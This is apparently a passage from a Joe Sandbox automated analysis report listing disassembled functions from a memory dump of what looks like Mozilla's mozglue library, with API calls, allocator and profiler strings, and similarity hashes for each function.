GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CAD64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CAD6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CAD6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CAD652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CAD671C
GetCurrentProcess.KERNEL32 ref: 6CAD6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CAD672F
GetCurrentProcess.KERNEL32 ref: 6CAD6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CAD6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CAD6A80
GetSystemInfo.KERNEL32(?), ref: 6CAD6ABE
__Init_thread_footer.LIBCMT ref: 6CAD6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAD6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAD6AF7

Strings

detoured.dll, xrefs: 6CAD64DA
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CAD6798
nvd3d9wrap.dll, xrefs: 6CAD6500
_etoured.dll, xrefs: 6CAD64ED
user32.dll, xrefs: 6CAD6526
nvdxgiwrap.dll, xrefs: 6CAD6513

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: dbfd10ac5d38fd5aeb6ddb7fd1efaf71bc446e94efc4b3ae995c27b8d2d55127
Instruction ID: c3c03d06e997d4562851c7717ddf4dbfb23290b9a9e788dcb5531c9524655661
Opcode Fuzzy Hash: dbfd10ac5d38fd5aeb6ddb7fd1efaf71bc446e94efc4b3ae995c27b8d2d55127
Instruction Fuzzy Hash: C2F1E1709452298FCB20DF64CD88B9AB7B5AF45318F1986D9E809A7741D731BEC8CF90

Function 6CAF60A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB4E7DC), ref: 6CAF60C9
LeaveCriticalSection.KERNEL32(6CB4E7DC), ref: 6CAF610D
EnterCriticalSection.KERNEL32(?), ref: 6CAF618C
LeaveCriticalSection.KERNEL32(?), ref: 6CAF61F9

Strings

Compile-time page size does not divide the runtime one., xrefs: 6CAF6AAE
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAF6BC7, 6CAF6F97, 6CAF6FB2
MOZ_CRASH(), xrefs: 6CAF6AB8
MALLOC_OPTIONS, xrefs: 6CAF6888
: (malloc) Unsupported character in malloc options: ', xrefs: 6CAF6B6A
<jemalloc>, xrefs: 6CAF6AA9, 6CAF6B59

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 7abb7c848f967662b325f804a50616138803620ca373e4abc1a2ea0b113f5eb0
Instruction ID: 126a0ebe55c8c3600db9f433c977e5460c00d347ab32998983113d76c8bb8333
Opcode Fuzzy Hash: 7abb7c848f967662b325f804a50616138803620ca373e4abc1a2ea0b113f5eb0
Instruction Fuzzy Hash: 24A2AD71A096418FD708CF28C550719BBF1FB85328F29C66DE8A9DB795C771E882CB81

Function 6CB2C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB2C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB2C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CB2C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CB2C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CB2C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB2CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB2CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB2DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CB2DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CB2DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB2DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB2DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CB2E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB2E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CB2E472

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 94d63d9dcd3ed2653e87f0419f73a91f3248e5e06a3955136f9687a2d5f0fa3b
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 0233A071E0029ACFCB14CFA8C8806EDBBF2FF49310F284269D959AB755D735A945CB90

Function 6CADFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB4E7B8), ref: 6CADFF81
LeaveCriticalSection.KERNEL32(6CB4E7B8), ref: 6CAE022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CAE0240
EnterCriticalSection.KERNEL32(6CB4E768), ref: 6CAE025B
LeaveCriticalSection.KERNEL32(6CB4E768), ref: 6CAE027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CADFE99, 6CADFEB7, 6CADFED3, 6CAE0DB8, 6CAE0DD3, 6CAE19B4
: (malloc) Error in VirtualFree(), xrefs: 6CAE0D67, 6CAE0D7B, 6CAE0DAC
<jemalloc>, xrefs: 6CAE0D62, 6CAE0D76, 6CAE0DA7

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 5ce634eaaaf92280b12df7a99d2bbc2261550f94e72d0527903fcb393734238a
Instruction ID: 3240f3d8d97d3ca526c6f3d2f1616b1811a48fdd72b6012210591ce739c09e8d
Opcode Fuzzy Hash: 5ce634eaaaf92280b12df7a99d2bbc2261550f94e72d0527903fcb393734238a
Instruction Fuzzy Hash: 36C2D371A057418FD714CF28C880716BBE1FF89328F28C66DE5A98B795DB71E881DB81

Function 6CB2E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CB2E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB2EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB2EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB2EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB2F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CB2F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB30E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CB30E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CB30EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CB30ED4

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: b826dd4cfb9de763abc6cb6ebe88402cfd8263f97eb3571243fc53bd4a50fbcf
Instruction ID: 6f47447340623c273a92db600a1aa80df5ca088daa224a7d27cb17f4f5ef07ca
Opcode Fuzzy Hash: b826dd4cfb9de763abc6cb6ebe88402cfd8263f97eb3571243fc53bd4a50fbcf
Instruction Fuzzy Hash: 1F637171E0029ACFCB14CFA8C8905EDF7B2FF89310F298269D859AB755D734A945CB90

Function 6CB03E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CB27770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CB03E7D,?,?,?,6CB03E7D,?,?), ref: 6CB2777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CB03F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CB03F5C
VerSetConditionMask.NTDLL ref: 6CB03F8D
VerSetConditionMask.NTDLL ref: 6CB03F99
VerSetConditionMask.NTDLL ref: 6CB03FA0
VerSetConditionMask.NTDLL ref: 6CB03FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CB03FB4

Strings

nvd3d9wrap.dll, xrefs: 6CB04466
nvinit.dll, xrefs: 6CB04479

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: e0bc0421a4739af8c753c7dd648fa1d7c217815bef360c62c69fd70808be4e69
Instruction ID: 63c1e57e027361dc5d2875ce0afe3d695b1dd9de8896e57d1235f17df38b2e22
Opcode Fuzzy Hash: e0bc0421a4739af8c753c7dd648fa1d7c217815bef360c62c69fd70808be4e69
Instruction Fuzzy Hash: D552D271614B884FD715DF34D980AAB77E9AF85308F044A2DE4968BB42DB34F94DCBA0

Function 6CAEED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CAEEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CAEEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CAF1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAF16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CAF1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CAF1A3E

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: a17dd378a57e1db0e35bb6b6b65a4ec0149370706a86c051ccbdd3d602068170
Instruction ID: 7d796200421a8a2826af4776682ca1a61648796feeb23aa0b4faae9d3d2e2811
Opcode Fuzzy Hash: a17dd378a57e1db0e35bb6b6b65a4ec0149370706a86c051ccbdd3d602068170
Instruction Fuzzy Hash: 1AB32B71E01219CFCB14CFA9C890AADB7B2FF49304F1982A9D559AB745D730AD86CF90

Function 6CADFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB4E7B8), ref: 6CADFF81
LeaveCriticalSection.KERNEL32(6CB4E7B8), ref: 6CAE022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CAE0240
EnterCriticalSection.KERNEL32(6CB4E768), ref: 6CAE025B
LeaveCriticalSection.KERNEL32(6CB4E768), ref: 6CAE027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CADFE99, 6CADFEB7, 6CADFED3, 6CAE0DB8, 6CAE0DD3, 6CAE19B4, 6CAE1A10
MOZ_CRASH(), xrefs: 6CAE0CA7

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 850801fc207b5758ad266762b76424eac29a9a33ff1ba675bc7681d302f2b3ca
Instruction ID: ed32e25d5bcdda5fc4564d28f6693466c5d6f4dae72c4fbca4104302ee1e5c69
Opcode Fuzzy Hash: 850801fc207b5758ad266762b76424eac29a9a33ff1ba675bc7681d302f2b3ca
Instruction Fuzzy Hash: 5EB2A0716057418FD714CF29C5D0726BBE1BF89328F28C66CE96A8B796D770E880DB81

Function 6CB15600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

ProfileBuffer parse error: %s, xrefs: 6CB15AC8, 6CB15CBB
name, xrefs: 6CB15E79, 6CB15E8F
schema, xrefs: 6CB1606D
data, xrefs: 6CB16131
expected a Count entry, xrefs: 6CB15AC3
expected a Time entry, xrefs: 6CB15CB6

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: a2319ecbb5b76b26907390a8dd8f9bbe937351aed77ffba488c68ad20029124a
Instruction ID: 428ada300f9c0505a5b63a068076768cdbf3db460afdb65db9bdff4b8b610f4e
Opcode Fuzzy Hash: a2319ecbb5b76b26907390a8dd8f9bbe937351aed77ffba488c68ad20029124a
Instruction Fuzzy Hash: 0F922A71A083818FD724CF28C490B9AB7E1FFC9308F55891DE5999BB51DB30E949CB92

Function 6CB12E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CB12ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB12EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6CB12F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB13214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB13242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB136BF

Strings

set , xrefs: 6CB136EC
get , xrefs: 6CB13205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6CB1378D

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 7053a99207ed44aa8df4880a3da2e4c863640278e36129c10bea4db26ceb0e13
Instruction ID: 969c4027df993341519af9cbd19375f539c28db4242311d00e0eb6343273696c
Opcode Fuzzy Hash: 7053a99207ed44aa8df4880a3da2e4c863640278e36129c10bea4db26ceb0e13
Instruction Fuzzy Hash: 4E323BB460C3C18FD724CF24C4906AEBBE2AFC9318F54891DE59987B51EB31994ACB53

Function 6CB07E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6CB07E88
name, xrefs: 6CB07ECF, 6CB08335
data, xrefs: 6CB08280, 6CB083E1
schema, xrefs: 6CB081E3, 6CB08311

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 7384f9c784367fa7e3d7619eae8070a1be758973c0cb8f86223929f2600a8aef
Instruction ID: 8ab5eb5cf35295ab5fdaaf32b545445c9d2d6489f7c93eb57c8c0df22cd4b347
Opcode Fuzzy Hash: 7384f9c784367fa7e3d7619eae8070a1be758973c0cb8f86223929f2600a8aef
Instruction Fuzzy Hash: 14E17071B043908BC710CF68984066BFBE9FF95314F158A2DE899D7790DBB0ED498B92

Function 6CAED4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB4E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAFD1C5), ref: 6CAED4F2
LeaveCriticalSection.KERNEL32(6CB4E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAFD1C5), ref: 6CAED50B

Part of subcall function 6CACCFE0: EnterCriticalSection.KERNEL32(6CB4E784), ref: 6CACCFF6
Part of subcall function 6CACCFE0: LeaveCriticalSection.KERNEL32(6CB4E784), ref: 6CACD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAFD1C5), ref: 6CAED52E
EnterCriticalSection.KERNEL32(6CB4E7DC), ref: 6CAED690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAED6A6
LeaveCriticalSection.KERNEL32(6CB4E7DC), ref: 6CAED712
LeaveCriticalSection.KERNEL32(6CB4E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CAFD1C5), ref: 6CAED751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAED7EA

Strings

: (malloc) Error initializing arena, xrefs: 6CAED82C
<jemalloc>, xrefs: 6CAED827

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: d2b4351bbee7d8580622409046fffd899c0aa4549c78b5d10f671e4a531fc9a8
Instruction ID: 48253fa8c3d3e73410c4bc81638b75433f44d8d3232119cf57768bbe9a97cf35
Opcode Fuzzy Hash: d2b4351bbee7d8580622409046fffd899c0aa4549c78b5d10f671e4a531fc9a8
Instruction Fuzzy Hash: FF91C271E087418FD714DF29C19066AB7E1FBC9318F18892EE56A87A85D730E884DB82

Function 6CAE5E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAE5EDB
memset.VCRUNTIME140(6CB27765,000000E5,55CCCCCC), ref: 6CAE5F27
LeaveCriticalSection.KERNEL32(?), ref: 6CAE5FB2
memset.VCRUNTIME140(6CB27765,000000E5,B4C09015), ref: 6CAE61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CAE7652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CAE72F8
MOZ_CRASH(), xrefs: 6CAE7BA4
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAE7BCD, 6CAE7C1F, 6CAE7C34, 6CAE80FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CAE72E3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CAE730D

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: bda8645141c47eae0ac2bb4f0197020e89df399b1d367c7c9c27211f66ac0da8
Instruction ID: a7f7ad27992019e19b1d530be2a6545a74d6f36043f611de274a815ff9ab8ffb
Opcode Fuzzy Hash: bda8645141c47eae0ac2bb4f0197020e89df399b1d367c7c9c27211f66ac0da8
Instruction Fuzzy Hash: 3B335C716057018FD308CF29C590615BBE2BF89328F2DC6ADE569CB7A6D731E881DB81

Function 6CAC3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAC3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAC34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAC34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CAC350E
__Init_thread_footer.LIBCMT ref: 6CAC3522
__aulldiv.LIBCMT ref: 6CAC3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAC357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAC3592

Part of subcall function 6CAFAB89: EnterCriticalSection.KERNEL32(6CB4E370,?,?,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284), ref: 6CAFAB94
Part of subcall function 6CAFAB89: LeaveCriticalSection.KERNEL32(6CB4E370,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAFABD1

Strings

kernel32.dll, xrefs: 6CAC34EA
GetSystemTimePreciseAsFileTime, xrefs: 6CAC3508

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

